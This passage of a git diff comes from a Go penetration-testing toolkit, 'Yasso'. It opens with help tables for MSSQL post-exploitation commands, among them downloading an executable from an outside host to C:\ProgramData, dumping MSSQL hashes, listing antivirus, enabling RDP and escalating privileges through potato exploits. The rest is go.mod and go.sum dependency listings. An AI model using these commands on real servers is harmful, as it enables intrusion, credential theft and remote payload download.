[]string{`EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300'`,`Download File`},
[]string{`EXEC sp_cmdExec 'sp_getSqlHash'`,`Get MSSQL Hash`},
[]string{`EXEC sp_cmdExec 'sp_getProduct'`,`Get Windows Product`},
[]string{`EXEC sp_cmdExec 'sp_getDatabases'`,`Get Available Databases`},
}
var SharpKitHelp = [][]string{
[]string{"EXEC ClrExec 'clr_ping ip'","Detect whether the target is reachable"},
[]string{"EXEC ClrExec 'clr_cat filename'","Viewing target file Contents"},
[]string{`EXEC ClrExec 'clr_ls dir'`,"Listing directory files"},
[]string{`EXEC ClrExec 'clr_rm filename'`,"rm traget file"},
[]string{`EXEC ClrExec 'clr_getav'`,"List target host kill software"},
[]string{`EXEC ClrExec 'clr_rdp'`,`Open the remote desktop and return to the remote desktop port`},
[]string{`EXEC ClrExec 'clr_efspotato whoami'`,"Calls efspotato to execute system commands"},
[]string{`EXEC ClrExec 'clr_badpotato whoami'`,"Calls badpotato to execute system commands"},
[]string{`EXEC ClrExec 'clr_netstat'`,"Listing netstat -an result"},
}
var(
// DisMapPorts TODO: dismp 默认端口号
DisMapPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,443,800,801,808,880,888,889,1000,1080,1880,1881,2000,2001,2601,3443,7001,7007,7010,7070,7878,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8016,8017,8018,8019,8022,8029,8030,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8105,8108,81110,8161,8175,8188,8189,8200,8201,8222,8300,8360,8443,8445,8448,8484,8499,8500,8800,8848,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9300,9443,9448,9500,9628,9800,9899,9981,9986,9988,9998,9999,11001"
// DefaultHeader TODO: 默认User-Agent
DefaultHeader = map[string]string{
"Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6",
"User-agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36",
"Cookie": "rememberMe=int",
}
)

4619
config/rule.go Normal file

File diff suppressed because it is too large Load Diff

28
go.mod Normal file
View File

@@ -0,0 +1,28 @@
module Yasso
go 1.16
require (
github.com/cheggaaa/pb/v3 v3.0.8
github.com/denisenkom/go-mssqldb v0.11.0
github.com/go-sql-driver/mysql v1.6.0
github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect
github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b
github.com/lib/pq v1.10.4
github.com/masterzen/winrm v0.0.0-20211231115050-232efb40349e
github.com/mattn/go-runewidth v0.0.13 // indirect
github.com/olekukonko/tablewriter v0.0.5
github.com/panjf2000/ants/v2 v2.4.7
github.com/spf13/cobra v1.3.0
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
github.com/tomatome/grdp v0.0.0-20211016064301-f2f15c171086
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3
golang.org/x/net v0.0.0-20211216030914-fe4d6282115f
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e // indirect
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect
golang.org/x/text v0.3.7
gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22
)
// 这里引入的是shadow1ng师傅的grdp包之前引入一直不成功go的基础还是太差
replace github.com/tomatome/grdp v0.0.0-20211016064301-f2f15c171086 => github.com/shadow1ng/grdp v1.0.3

944
go.sum Normal file
View File

@@ -0,0 +1,944 @@
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=
cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=
cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=
cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=
cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To=
cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4=
cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M=
cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc=
cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk=
cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs=
cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc=
cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY=
cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI=
cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk=
cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg=
cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8=
cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0=
cloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY=
cloud.google.com/go v0.84.0/go.mod h1:RazrYuxIK6Kb7YrzzhPoLmCVzl7Sup4NrbKPg8KHSUM=
cloud.google.com/go v0.87.0/go.mod h1:TpDYlFy7vuLzZMMZ+B6iRiELaY7z/gJPaqbMx6mlWcY=
cloud.google.com/go v0.90.0/go.mod h1:kRX0mNRHe0e2rC6oNakvwQqzyDmg57xJ+SZU1eT2aDQ=
cloud.google.com/go v0.93.3/go.mod h1:8utlLll2EF5XMAV15woO4lSbWQlk8rer9aLOfLh7+YI=
cloud.google.com/go v0.94.1/go.mod h1:qAlAugsXlC+JWO+Bke5vCtc9ONxjQT3drlTTnAplMW4=
cloud.google.com/go v0.97.0/go.mod h1:GF7l59pYBVlXQIBLx3a761cZ41F9bBH3JUlihCt2Udc=
cloud.google.com/go v0.98.0/go.mod h1:ua6Ush4NALrHk5QXDWnjvZHN93OuF0HfuEPq9I1X0cM=
cloud.google.com/go v0.99.0/go.mod h1:w0Xx2nLzqWJPuozYQX+hFfCSI8WioryfRDzkoI/Y2ZA=
cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE=
cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc=
cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg=
cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc=
cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=
cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=
cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=
cloud.google.com/go/firestore v1.6.1/go.mod h1:asNXNOzBdyVQmEU+ggO8UPodTkEVFW5Qx+rwHnAz+EY=
cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=
cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=
cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU=
cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos=
cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk=
cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs=
cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
github.com/Azure/go-ntlmssp v0.0.0-20211209120228-48547f28849e h1:ZU22z/2YRFLyf/P4ZwUYSdNCWsMEI0VeyrFoI2rAhJQ=
github.com/Azure/go-ntlmssp v0.0.0-20211209120228-48547f28849e/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/ChrisTrenkamp/goxpath v0.0.0-20210404020558-97928f7e12b6 h1:w0E0fgc1YafGEh5cROhlROMWXiNoZqApk2PDN0M1+Ns=
github.com/ChrisTrenkamp/goxpath v0.0.0-20210404020558-97928f7e12b6/go.mod h1:nuWgzSkT5PnyOd+272uUmV0dnAnAn42Mk7PiQC5VzN4=
github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ=
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=
github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
github.com/armon/go-metrics v0.3.10/go.mod h1:4O98XIr/9W0sxpJ8UaYkvjk10Iff7SnFrb4QAOwNTFc=
github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/cheggaaa/pb/v3 v3.0.8 h1:bC8oemdChbke2FHIIGy9mn4DPJ2caZYQnfbRqwmdCoA=
github.com/cheggaaa/pb/v3 v3.0.8/go.mod h1:UICbiLec/XO6Hw6k+BHEtHeQFzzBH4i2/qk/ow1EJTA=
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag=
github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI=
github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
github.com/cncf/xds/go v0.0.0-20211130200136-a8f946100490/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/cpuguy83/go-md2man/v2 v2.0.1/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/denisenkom/go-mssqldb v0.11.0 h1:9rHa233rhdOyrz2GcP9NM+gi2psgJZ4GWDpL/7ND8HI=
github.com/denisenkom/go-mssqldb v0.11.0/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU=
github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po=
github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk=
github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk=
github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ=
github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0=
github.com/envoyproxy/go-control-plane v0.10.1/go.mod h1:AY7fTTXNdv/aJ2O5jwpxAPOWUZ7hQAEvzN5Pf27BkQQ=
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
github.com/envoyproxy/protoc-gen-validate v0.6.2/go.mod h1:2t7qjJNvHPx8IjnBOzl9E9/baC+qXE/TeeyBRzgJDws=
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
github.com/fsnotify/fsnotify v1.5.1/go.mod h1:T3375wBYaZdLLcVNkcVbzGHY7f1l/uK5T5Ai1i3InKU=
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
github.com/go-gl/gl v0.0.0-20181026044259-55b76b7df9d2/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk=
github.com/go-gl/gl v0.0.0-20190320180904-bf2b1f2f34d7/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk=
github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20210410170116-ea3d685f79fb/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gofrs/uuid v4.2.0+incompatible h1:yyYWMnhkhrKwwr8gAOcOCYxOOscHgDS9yZgBrnJfGa0=
github.com/gofrs/uuid v4.2.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4=
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY=
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw=
github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4=
github.com/golang/mock v1.5.0/go.mod h1:CWnOUgYIOo4TcNZ0wHX3YZCqsaM1I1Jvs6v3mP3KVu8=
github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs=
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk=
